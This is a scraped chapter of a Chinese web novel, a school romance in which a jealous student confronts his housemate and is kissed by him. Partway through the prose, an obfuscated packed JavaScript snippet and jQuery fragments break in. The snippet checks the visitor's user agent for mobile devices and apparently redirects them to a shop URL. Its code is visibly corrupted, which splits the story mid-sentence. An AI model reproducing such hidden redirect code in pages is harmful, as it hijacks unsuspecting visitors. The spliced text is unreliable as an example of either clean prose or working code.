风竹小说 > 都市言情 > 灯塔水母 > 16. 第 16 章
    夕阳像融化的金漆,从教学楼西侧倾泻下来,把走廊瓷砖照得晃眼。林鹤羽站在教导主任办公室门口,手里拿着换宿申请表。

    屋里风扇吱呀转着,吹得墙上奖状哗啦响。

    李主任坐在桌后,衬衫领口被汗浸出一道深色痕迹,手里那块手帕已经湿透,擦了又擦。

    “林同学啊……”主任干笑两声,“现在都快期中了,宿舍真没床位。下学期,下学期一定优先给你,好不好?”

    林鹤羽没出声,内心做着挣扎。夕阳从背后斜射,把他的影子拉得极长,一直拖到主任桌下,像一条甩不掉的黑尾巴。

    “那……退宿呢?”他声音很轻,却毫不退让。

    主任手帕停在半空,嘴角抽了抽:“退宿得监护人签字。当初登记的是你阿姨吧?让她来一趟,或者父母……总之得直系亲属。学校不敢担这个责。”

    风扇又吱呀一声响起。

    林鹤羽慢慢把申请表对折、再对折,折成一个小硬块。他抬眼看了主任一秒,主任的眼神立刻飘开,怕被识破心虚。

    “……我知道了。麻烦您了。”

    转身时,夕阳直刺眼睛,酸得发胀。走廊窗棂把光切成一条条金栅栏,落在校服上。

    影子越来越长,几乎要吞掉整条走廊。

    林鹤羽一步一步往下走,每一步都像踩在自己影子上。

    “鹤羽——!!!”

    马大哈的嗓门像炸雷,从后面扑过来,胳膊直接勾住他脖子,差点把他勒得踉跄。

    “前天管家说你跟晋云先回市里了?啧啧,进展神速啊?”他挤眉弄眼,热气全喷在林鹤羽耳朵上,“说!亲了没?我保证不外传!”

    林鹤羽“啪”地拍开他的脸,耳根瞬间烧红:“离我远点!”

    说完转身就走,步子又快又乱。

    马大哈黏上来:“哎呀别害羞,兄弟之间……”

    话音戛然而止。

    他整个人像被按了暂停,笑容僵住,下一秒站直,胳膊滑下去,背挺得笔直。

    林鹤羽疑惑抬头。

    晋云从对面走来。

    夕阳给他镀了一身毛边,影子比旁人都长。他嘴角挂着惯常的温和笑,目光从马大哈身上一扫,最后落在林鹤羽脸上,只停了极短一瞬。

    然后擦肩而过,连句招呼都没打,像路过一个普通同学。

    风忽然很冷。

    马大哈下巴差点砸地,半天才憋出一句:“……你们吵架了?还是你在闹别扭?”

    林鹤羽胸口猛地一闷,声音冲出来:“不关你事!”

    吼完自己都被吓一跳,嗓子发疼。

    马大哈愣了愣,难得没贫,只重重拍他肩膀一下:“行,我懂。有事别憋着,兄弟。”

    说完转身就跑,消失在拐角。

    林鹤羽一个人站在原地,夕阳沉到楼后。

    这两天,他像被装进真空袋,喘不过气。

    想逃,可一想到真要离开,又觉得胸口空了一块,像被挖走了什么,再也填不回来。

    别墅门前的路灯一盏盏亮起。

    林鹤羽拎着超市袋,手指冰凉。钥匙插进锁孔,门推开,暖黄的氛围灯亮着,像有人故意留给他一盏不该亮的灯。

    空气里混着陌生的甜腻香水味。

    “云哥,你这么晚还陪我,真是太好了~”

    女声从餐厅飘出来,尾音黏腻带笑。

    林鹤羽脚步停在玄关,塑料袋“沙啦”砸地。

    他屏息,慢慢往里探。

    餐厅灯光昏黄。女人坐在餐桌边,穿着红色紧身上衣和短裙,姿态慵懒。她手里拿着几份文件,笑着往晋云那边倾身,指尖几乎要碰到他的手臂。晋云刚洗完澡,只穿一条灰色运动裤,上身赤裸,水珠还挂在锁骨上。他俯身看着桌上的文件,眉头微皱,两人头靠得很近,氛围暧昧得像在分享什么秘密。

    西红柿从袋子里滚出来,滚到客厅。

    两人同时抬头。

    晋云直起身,眼神淡得仿佛被打扰的是自己:“鹤羽,你回来了。”

    声音平静得可怕。

    女人挑眉,视线在他身上转一圈,笑得意味深长:“你朋友?”

    “嗯。”晋云点头,像介绍路人。

    “那今天不方便了。”女人从椅子上站起来,高跟鞋哒哒两声,路过时故意放慢,香风扑面,还冲他眨了下眼,“小帅哥,下次见哦~”

    门关上,客厅瞬间安静,只剩滚远的西红柿。

    晋云靠着餐桌,双臂环胸,嘴角甚至还挂着一点笑:“……打扰到你了?”

    林鹤羽弯腰,僵硬地把散落的东西塞回袋子,声音干涩:“我以为你今晚不回来。”

    “临时回来了。”晋云声音低低的,没打算多解释。

    林鹤羽抱着袋子进厨房,水龙头开到最大。西红柿被攥得变形,汁水顺指缝滴进水槽。

    “晚饭多做点,我想在家吃。”晋云声音慢慢靠近。

    林鹤羽没应,菜刀剁在案板上,一下一下,又快又狠。

    水声、刀声、心跳声混成一片,像暴雨砸铁皮。

    脑子里全是刚才那一幕——女人倾身靠近、两人头靠头、晋云没穿上衣、水珠顺着胸膛滑落……像反复烙在视网膜上。

    原来你是这种人。

    轻浮,随便。

    他以前怎么没看出来。

    “怎么不理我?”

    晋云的声音贴到耳后,热得发烫。

    林鹤羽猛地转身,菜刀差点划过对方胸口,刀锋在空气里闪出一道冷光。

    “你怎么能在家里带别人回来?”声音发抖,尾音却倔强地扬起。

    晋云垂眼看他,睫毛投下淡淡阴影,嘴角勾起一点笑:“带别人回来?”

    “你……

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17053391|194848||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    ”林鹤羽咬牙,脸颊染上愤怒的红,“她靠你那么近,还叫你云哥,你们……”

    晋云没接话,慢慢俯身,近得呼吸交缠,带着薄荷的凉,又混着残留的甜腻香。

    林鹤羽本能后退,后腰撞上料理台,双手抵在他胸口,却触到滚烫的皮肤和紧绷的肌肉,掌心瞬间发麻。

    “你怎么是这样的人?”声音低下去,像质问,又像说服自己。

    晋云低笑,胸腔震动:“我是怎样的人很重要?”

    他贴近耳廓,声音哑得像砂纸:“你告诉我,你眼里的我,是谁?”

    “轻浮。”两个字从齿缝挤出。

    晋云没生气,反而笑得更深。他忽然扣住林鹤羽手腕,把人往怀里一带,另一只手扣住后腰,逼得两人贴得极近。

    “那你不喜欢我,”声音低得只剩气音,唇几乎擦过耳垂,“为什么在意我跟谁靠得近?”

    林鹤羽脑子轰地空白。

    心跳大得吓人。

    他张嘴,却发不出声。那股酸涩、委屈、愤怒突然找到出口,却被接下来的动作堵死。

    “如果你真的不喜欢,”晋云低头,鼻尖蹭过他的,声音轻得像蛊,“就不会反感我现在靠近你。”

    话音落下,他吻住了林鹤羽。

    吻来得直接,带着不容拒绝的力道。

    唇瓣相贴的瞬间,林鹤羽浑身颤了一下。晋云的吻强势又炽热,像要把所有的情绪都卷进去。

    林鹤羽眼泪毫无预兆滚下来,咸得发苦。

    晋云停了一瞬,拇指擦过他眼尾,把泪碾碎,然后放缓动作,吻得更温柔,像安抚,又像更深的占有。

    呼吸交缠,厨房里只剩水龙头滴答,和两人越来越重的喘息。

    林鹤羽不服气地回咬了一下,换来晋云低哑的闷哼。那声音像点燃了什么,吻又深了几分。

    不知过了多久,晋云才稍稍退开,额头抵着额头,喘息滚烫。

    林鹤羽嘴唇红肿,眼睛湿漉漉的,像被欺负狠了。

    晋云拇指轻轻擦过他下唇,声音哑得不像话:

    “还觉得我轻浮吗?”

    林鹤羽没说话,只喘着气,眼泪又掉了一颗。

    晋云低头吻掉那滴泪,嗓音低得近乎耳语:

    “刚才那个,是我的‘保镖’。”

    林鹤羽整个人僵住。

    半晌,他耳朵通红,哑着嗓子挤出一句:

    “……你混蛋。”

    晋云笑出声,又低头吻住他,这一次慢得近乎折磨,像在细细确认。

    “下次再吃醋,”他咬着林鹤羽下唇,声音低哑,“饶不了你。”

    林鹤羽眼泪还挂在睫毛上,却忍不住回吻过去,手指揪住他腰侧。

    水龙头还在滴,一滴一滴,像倒计时。

    厨房昏黄的灯光,把两个人的影子重重叠在一起,怎么也分不开。